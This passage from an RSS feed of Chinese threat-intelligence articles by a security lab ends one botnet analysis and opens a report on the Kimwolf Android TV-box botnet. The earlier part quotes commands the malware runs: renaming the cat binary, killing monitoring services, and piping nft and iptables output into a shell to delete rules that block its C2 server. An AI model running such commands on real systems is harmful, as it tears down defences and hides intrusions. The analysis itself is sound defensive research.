sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">由服务端生成随机的单密钥和双Nonce，并采用了二次加密：</span></p></li></ol><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Session Key 保护：使用32 字节 Key 进行 XOR 运算后发出。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">双 Nonce 机制：服务端下发两个不同的 Nonce：</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">NonceA：用于 Bot 端发送数据加密（服务端解密）。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">NonceB：用于服务端发送数据加密（Bot 端解密）。</span></p><ol class="list-paddingleft-1" start="3"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">握手验证</span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">这是确保 XOR 解密后的 Session Key 正确性的关键步骤：</span></p></li></ol><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Bot 验证：Bot 使用解出的Key和NonceA加密</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">handshake</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">消息发往服务端。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">服务端验证：服务端解密并比对消息类型，若正确则使用Key和NonceB回复加密响应。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">状态同步：Bot解密响应，若成功，则双方建立互信。</span></p><ol class="list-paddingleft-1" start="4"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">确认分组与指令循环</span><span leaf=""><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Bot加密发送</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">botid</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">消息，服务端可根据该ID对Bot进行分组</span></p></li></ol><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">持续通信：进入指令循环阶段，Bot 持续监听服务端下发的加密指令。</span></p><h3><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">隐藏DDoS行为</span></span></h3><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">在接收到DDoS指令时，还会执行以下指令</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf=""><span class="code-snippet__built_in">mv</span> /usr/bin/cat /usr/bin/cat2</span></code><br/><code><span leaf="">pkill -f <span class="code-snippet__string">&#39;network_service|resmon_service</span></span></code><br/></pre></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">这意味着在进行DDoS时，无法使用系统的cat命令和网络资源监控服务，以此来隐藏DDoS行为</span></p><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">对抗</span></span></h1><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">发现问题后，官方和部分用户发布了解决方案/脚本，但在1月31日该僵尸网络再次更新组件进行对抗</span></p><ol class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">删除nft和iptable中删除阻止C2连接的规则</span></p></li></ol><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="perl"><code><span leaf="">nft list ruleset -a | <span class="code-snippet__keyword">grep</span> C2IP | sed -n <span class="code-snippet__string">&#39;s/.*table \\([^ ]*\\) \\([^ ]*\\).*handle \\([0-9]*\\).*/nft delete rule \\1 \\2 handle \\3/p&#39;</span> | sh</span></code><br/><code><span leaf="">iptables -t filter -S | <span class="code-snippet__keyword">grep</span> C2IP | sed <span class="code-snippet__string">&#39;s/^-A/-D/&#39;</span> | sh</span></code><br/><code><span leaf="">iptables -t nat -S | <span class="code-snippet__keyword">grep</span> C2IP | sed <span class="code-snippet__string">&#39;s/^-A/-D/&#39;</span> | sh</span></code><br/><code><span leaf="">iptables -t mangle -S | <span class="code-snippet__keyword">grep</span> C2IP | sed <span class="code-snippet__string">&#39;s/^-A/-D/&#39;</span> | sh</span></code><br/><code><span leaf="">iptables -t raw -S | <span class="code-snippet__keyword">grep</span> C2IP | sed <span class="code-snippet__string">&#39;s/^-A/-D/&#39;</span> | sh</span></code><br/></pre></p><ol class="list-paddingleft-1" start="2"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">修改webshell后门的端口为57199</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">新的内核持久化模块</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">async_memcpys.ko</span></code></p></li></ol><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-aistatus="1" alt="sys_persist0.png" class="rich_pages wxw-img" data-ratio="0.5329341317365269" data-type="png" data-w="835" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" data-imgfileid="100000709" src="https://wechat2rss.xlab.app/img-proxy/?k=123dd9b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8yDl8f4DxRzQP7LKufpjAaia5SvHeOA1KTM3CJIugzkGTQGGPJav9UIYPMt4kKMswJoJwsDN0l3ObMicDicnS6UGEFz6gq7W3zyTE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><br/></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-aistatus="1" alt="sys_persist.png" class="rich_pages wxw-img" data-ratio="1.6242774566473988" data-type="png" data-w="519" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" data-imgfileid="100000714" src="https://wechat2rss.xlab.app/img-proxy/?k=e2258608&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8wSdhL4wavGusrFQ9Pc5l73HXr5ozMiaP84ChTbk0riaIClHMibzIJ7Geib23a7bBCBTBGKqchSv9DzMod5d0plVA9JUtmIoLpkfiag%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><ol class="list-paddingleft-1" start="4"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">新的用户态持久化服务</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">/etc/systemd/system/dockers.service</span></code></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">更换新的C2基础设施</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">使用动态的8字节KEY对样本进行加壳保护</span></p></li></ol><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-aistatus="1" alt="packer.png" class="rich_pages wxw-img" data-ratio="0.5975773889636609" data-type="png" data-w="743" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" data-imgfileid="100000713" src="https://wechat2rss.xlab.app/img-proxy/?k=9a136bff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8yTQauVEqV9QrjuhNicib10NKvuJHPCvU6pic5YFdBZtVBP7ARGatfV4Oh3rgf7arJWlMpG4xO4hXGjFnJnSRuVxSjIvZEI9vbQcU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://blog.xlab.qianxin.com/netdragon/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=89fb28be&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkxMDYzODQxNA%3D%3D%26mid%3D2247484366%26idx%3D1%26sn%3D616c025e092fadda12e637147fcd5dfe">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 12 Feb 2026 12:27:00 +0800</pubDate>
    </item>
    <item>
      <title>史上最疯：独家揭秘感染全球180万Android设备的巨型僵尸网络Kimwolf</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkxMDYzODQxNA==&amp;mid=2247484350&amp;idx=1&amp;sn=6d6f2bf868e99711010ce5700e4faf9f</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>奇安信X实验室</span> <span>2025-12-17 12:54</span> <span style="display: inline-block;">北京</span></p>




  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=bb26cf31&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMalFf0B3cwb4JtXKKPfnsmicaTDf7GMNNYN5nv9ia29O3MLI67UuKOvdw%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h1 data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">背景介绍</span></span></h1><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">2025年10月24日，安全社区的信任伙伴给我们提供了一个全新的僵尸网络样本，该样本最特别的地方是它的C2域名1<span textstyle="" style="font-weight: bold;">4emeliaterracewestroxburyma02132[.]su</span>彼时在Cloudflare 域名流行度排名中位列第2，一周之后甚至超越Google，问鼎Cloudflare 域名流行度排名全球第一。毫无疑问这是一个超级大规模的僵尸网络，基于样本运行时输出的信息以及使用wolfssl库，我们将它命名为Kimwolf.</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000664" alt="kimwolf_cfno1.png" class="rich_pages wxw-img" data-ratio="0.7073509015256588" data-type="png" data-w="1442" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=85bb10da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YME7ZbuOY6avQv9CNh7NOQpbu0EmF1QZRjYjsqmEjmCm3PWc0mtd62XA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Kimwolf 是一个使用 NDK 编译的僵尸网络，除具备典型的 DDoS 攻击能力外，还集成了代理转发、反向 Shell 和文件管理等功能。从整体架构来看，其功能设计并不复杂，但其中仍有一些值得关注的亮点：例如，该样本采用了简单而有效的栈异或（Stack XOR）操作对敏感数据进行加密；同时利用 DNS over TLS（DoT）协议封装 DNS 请求，以规避传统安全检测。此外，其 C2 身份认证采用基于椭圆曲线的数字签名保护机制，Bot 端会在验签通过后才接受通信指令。近期更引入</span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">EtherHiding技术以区块链域名</span>对抗处置</span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">，这些特征在同类恶意软件中较为少见。从我们的分析结果来看，它主要针对Android平台电视盒子。C2 后台所显示的 “欢迎来到 Android Support Center” 信息也可以印证这一点。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000665" alt="kimwolf_banner.png" class="rich_pages wxw-img" data-ratio="0.15570175438596492" data-type="png" data-w="1368" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=55dbbe59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMh1m5jSEk2wjS6qVZr0ib6IqA65hKVW9fl0X2ibZ4zPUswyRmy1SHVVwQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Kimwolf样本中使用“niggabox + v数字”的命名规则来标识版本号，社区伙伴先前提供的样本为v4版本。我们在完成逆向分析之后，将样本的情报导入</span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">XLab大网威胁感知系统，陆续捕获包括v4、v5在内的多个相关样本，实现了对该家族的自动化持续跟踪</span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">11月30日，我们再次捕获到该僵尸网络家族的一个新样本，并成功接管了其中一个C2域名，从而首次获得了直接观测该僵尸网络真实运行规模的机会。基于与我们注册的C2地址建立连接、且通信行为符合Kimwolf 